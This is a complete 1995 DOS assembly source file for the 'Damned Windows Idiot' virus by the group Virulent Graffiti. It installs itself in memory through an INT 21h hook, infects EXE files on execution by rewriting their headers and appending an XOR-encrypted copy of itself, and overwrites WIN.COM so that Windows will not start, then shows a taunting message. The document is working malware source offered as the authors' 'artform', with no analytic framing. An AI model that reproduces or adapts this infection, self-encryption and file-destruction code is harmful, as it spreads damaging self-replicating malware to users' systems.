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Assembly Source File | 1995-05-12 | 17.5 KB | 477 lines

; [][] [] [] [][][] "Damned Windows Idiot!" or Anti-Windows... ; [] ][ [] [] [] ; [] [] [] [] [] An original Viral Artform by ; [] [] [] [] [] [] AccuPunk and The Attitude Adjuster of ; [] ][ [] ][][ [] [] Virulent Graffiti, 216/513/914/602/703! ; [][] ][ ][ [][][] ; "Hey, you... with the shitty logo... Yeah, you! Get over here!" .model tiny .code org 100h id_word equ '1V' ; Marker Word ; V1 in Lil' Endian entry: mov bx, offset endcrypt ; Virus Start mov cx, (end_write-endcrypt)/2 ; Ieterations Valu: mov dx, 0000h ; Xor Word Crypt_Loop: xor word ptr cs:[bx], dx ; Xor It (CS Ovr'rd) ror word ptr cs:[bx], 1 ; Roll it Right! inc bx inc bx loop Crypt_Loop EndCrypt: push ds es ; Save Segments push cs cs ; CS=DS=ES pop ds es mov ax, 0ABCDh ; R-U-There? int 21h cmp ax, 6969h ; Ax=6969h Vir_Ident jne put_vir_in_mem ; No. exit: pop es ds ; Restore Segments mov ax, es ; AX = PSP segment add ax, 10h ; Adjust for PSP mov cx, ax add ax, word ptr cs:[stacksave] ; Adjust SS cli mov sp, word ptr cs:[stacksave+2] ; Set SP mov ss, ax ; Set SS sti mov bx, word ptr cs:[jmpsave+2] ; Adjust CodeSeg add bx, cx push bx ; Save It mov bx, word ptr cs:[jmpsave] ; Load IP push bx ; Save It retf ; Exit Virus jmpsave dd 0fff00000h ; Point to INT 20h stacksave dd ? ; Nada. put_vir_in_mem: xor ax,ax ; Interrupt Table mov ds,ax les bx, dword ptr ds:[21h*4] ; Int 21h Vector mov word ptr cs:[old_int_21], bx ; Save Int 21h mov word ptr ds:[30h*4],bx ; Revector 30h mov word ptr cs:[old_int_21+2], es mov word ptr ds:[30h*4+2], es push cs cs ; Restore Segments pop es ds mov ax, 5800h ; Get Mem Alloc int 21h push ax ; Save Strategy mov bx, 2 mov ax, 5801h ; Set to Last Fit int 21h mov bx, ((end_vir - entry) / 16) + 1 mov ah, 48h ; Allocate Block int 21h push ax ; Returned in AX sub ax, 10h ; Base Ofs 100h mov es, ax ; Our Segment mov di, 100h ; Entry = 100h mov si, di ; Entry = 100h mov cx, end_write - entry ; Bytes to Zopy rep movsb xor cx, cx ; Interrupt Table push cx pop ds cli mov word ptr ds:[21h*4], offset Int_21_handler ; Set Int 21h mov word ptr ds:[21h*4+2], ax sti pop ax sub ax, 1 mov es, ax ; Point To MCB mov word ptr es:[0001], 0008 ; Config = 0008h mov ax, 5801h ; Reset Strategy pop bx int 21h jmp exit ; Exit Stub int_21_handler: push ax bx cx dx si di bp es ds ; Save Registers cmp ax, 0ABCDh ; R-U-There? je r_u_there cmp ax, 4B00h ; DOS Exec? je exec_call back_to_dos: pop ds es bp di si dx cx bx ax ; Restore Registers db 0eah ; JMP XXXX:YYYY old_int_21 dd ? remove_locks: xor ax,ax ; Interrupt Table mov ds,ax les ax, dword ptr cs:[Old24] ; Get Int 24h Vector mov word ptr ds:[24h*4], Ax ; And Replace It mov word ptr ds:[24h*4+2], Es jmp back_to_dos r_u_there: mov bp, sp ; Alter AX On Stack mov word ptr [bp+10h], 6969h jmp end_int_21 exec_call: xor ax,ax ; Revector Int 24h mov ds,ax les ax, DWord Ptr ds:[24h*4] mov word ptr cs:[Old24], ax ; Save Old Vector mov word ptr cs:[Old24+2], es mov word ptr ds:[24h*4], Offset My24 ; With Our Vector mov word ptr ds:[24h*4+2], cs pop es ; Caller's Ds in Es push es mov di, dx ; ES:DI -> filename push cs pop ds ; DS:SI -> "WIN.COM" mov si, offset win_com push si find_top: pop si push si lodsb ; AL = "W" mov cx, 128 repnz scasb ; Scan For "W" je check_it ; Got a "W", Check It pop si jmp infect ; Not WIN.COM check_it: mov cl, 7 check_char: lodsb ; Load Next Character scasb ; and Check it jne find_top ; Leave if < > loop check_char pop si nuke_windows: push es pop ds mov ax, 3d02h ; Open WIN.COM int 30h xchg ax,bx ; Handle in BX push cs pop ds mov ah, 40h ; Write WIN.COM mov cx, (my24-win_exit)-1 mov dx, offset win_exit ; with CD 20h int 30h mov ah, 3eh ; Close File int 30h mov ah, 9 ; Show User Message mov dx, offset win_msg int 30h end_int_21: pop ds es bp di si dx cx bx ax ; Restore Registers iret infect: ; File Infection push es pop ds mov si, dx ; DS:SI -> filename push cs pop es mov di, offset fname LoopAgain: ; Copy filename into lodsb ; Our CodeSeg. stosb or al,al jnz LoopAgain push cs ; CS=DS=ES pop ds xor ax, ax ; Get Attributes call attributes mov word ptr [fattr], cx ; Save Attributes mov ax, 3D00h ; Open File int 30h jc bad_exe xchg ax, bx ; BX = File Handle mov ax, 5700h ; Get File Date/Time int 30h mov ftime, cx ; Save Time mov fdate, dx ; And Date mov ah, 3Fh ; Read Header mov cx, 1ah mov dx, offset buffer ; Into Buffer int 30h call LSeekEnd ; LSeek the End push dx ; Save File Size push ax mov ah, 3Eh ; Close File int 30h cmp word ptr [buffer], 'ZM' jne worse_exe ; Not an EXE File cmp word ptr [buffer+12h], id_word jne good_exe ; Not Infected worse_exe: pop dx ; Remove Saved File pop dx ; Size bad_exe: jmp remove_locks ; Abort Infection good_exe: mov al, 01h ; Overwrite Attribs xor cx, cx call attributes jc worse_exe ; Catch Write-Prot ; Discs Here push cs pop es mov si, offset buffer + 14h ; Save Initial CS:IP mov di, offset jmpsave ; In Segment movsw movsw sub si, 10 ; Save Initial SS:SP movsw movsw pop ax dx ; Retrive File Size push ax dx ; Save It add ax, offset end_write - offset entry adc dx, 0 mov cx, 512 ; Pages 512 Bytes div cx or dx, dx jz no_round inc ax ; Rounding Quirk no_round: mov word ptr [buffer + 4], ax ; Set Total 512 pages mov word ptr [buffer + 2], dx ; Set Total mod 512 mov ax, word ptr [buffer + 0Ah] ; Get Minimum add ax, (end_write - entry)/16 ; Add our Size mov word ptr [buffer + 0ah], ax ; Put us in Minimum mov word ptr [buffer + 0ch], ax ; and in the Maximum pop dx ax ; Retrieve File Size mov cl, 4 mov bx, word ptr [buffer + 8] shl bx, cl ; BX = Header Size sub ax, bx sbb dx, 0 ; Subtract Header mov cx, 10h div cx ; Change To Para/Rem or dx, dx jz no_padding sub cx, dx ; CX = Bytes to Pad inc ax no_padding: push cx ; Save Pad Bytes sub ax, 10h mov word ptr [buffer + 14h], offset entry ; Set IP mov word ptr [buffer + 16h], ax ; Set CS mov word ptr [buffer + 0Eh], ax ; Set SS mov word ptr [buffer + 10h], offset end_vir+100h ; Set SP move_id: mov word ptr [buffer + 12h], id_word ; Set ID Word ; Negative Checksum mov ax, 3D02h ; Open File mov dx, offset fname int 30h xchg ax, bx ; BX = File Handle mov ah, 40h ; Write File mov cx, 1Ah mov dx, offset buffer int 30h call LSeekEnd ; LSeek to End pop cx ; Retrieve Padding cmp cx, 16 je no_fixup ; None Needed mov ah, 40h ; Write File int 30h no_fixup: mov ah, 2ch ; Get Time int 21h mov word ptr [Valu+1], Dx ; New Crypt Valu mov si, offset writeret ; Copy Write mov di, offset tempcrypt ; Routine mov cx, (end_write-writeret) rep movsb call tempcrypt ; Call Write Routine mov ax, 5701h ; Set File Time/Date mov cx, ftime mov dx, fdate int 30h mov ah, 3Eh ; Close File int 30h mov al, 01h ; Reset Attribs mov cx, fattr call attributes jmp remove_locks ; Remove Int 24h vir_ident db 0,'[DWI] AccuPunk/' ; Virus and Author db 'The Attitude Adjuster' ; Idents vir_group db 0,'Virulent Graffiti',0 ; Group Ident win_com db 'WIN.COM',0 ; Target File win_exit db 0cdh, 20h ; DOS Exit win_msg db 0dh,0ah ; Message db 'You''ve been caught, you DWI! You''re nothing ' db 'but a Damn Windows Idiot!',0dh,0ah db 'Well, we at Virulent Graffiti have had it... ' db 'you''re not going to be',0dh,0ah db 'running that bullshit for a while, ''cuz, hey, ' db 'friends don''t let friends',0dh,0ah db 'use Windows! (and you''re damn right we''re ' db 'your friends!)',0dh,0ah,'$' my24: ; Error Handler mov al, 3 ; Process Terminate iret Attributes: ; Get/Set mov ah, 43h mov dx, offset fname int 30h ret LSeekEnd: mov ax, 4202h ; LSeek from End xor cx, cx cwd ; XOR DX, DX int 30h ; Kudos DA ret WriteRet: push bx ; Handle mov bx, offset endcrypt ; Virus Start mov cx, (end_write-endcrypt)/2 ; Ieterations mov dx, Word Ptr [Valu+1] ; Xor Word Crypt_Loop2: rol word ptr [bx], 1 ; Roll it Left! xor word ptr [bx], dx ; Xor It inc bx inc bx loop Crypt_Loop2 pop bx ; Handle mov ah, 40h ; Write File mov cx, end_write - entry mov dx, offset entry int 30h push bx ; Handle mov bx, offset endcrypt ; Virus Start mov cx, (end_write-endcrypt)/2 ; Ieterations mov dx, Word Ptr [Valu+1] ; Xor Word Crypt_Loop3: xor word ptr [bx], dx ; Xor It ror word ptr [bx], 1 ; Roll it Left! inc bx inc bx loop Crypt_Loop3 pop bx ; Handle ret ; Return end_write: old24 dd 0 ; Int 24h Vector buffer db 1Ah dup (0) ; EXE Read Buffer fname db 128 dup (0) ; Filename Buffer fdate dw 0 ; OldFileDate ftime dw 0 ; OldFileTime fattr dw 0 ; OldFileAttr tempcrypt: db (end_write-writeret) Dup(0) ; Write Routine end_vir: end entry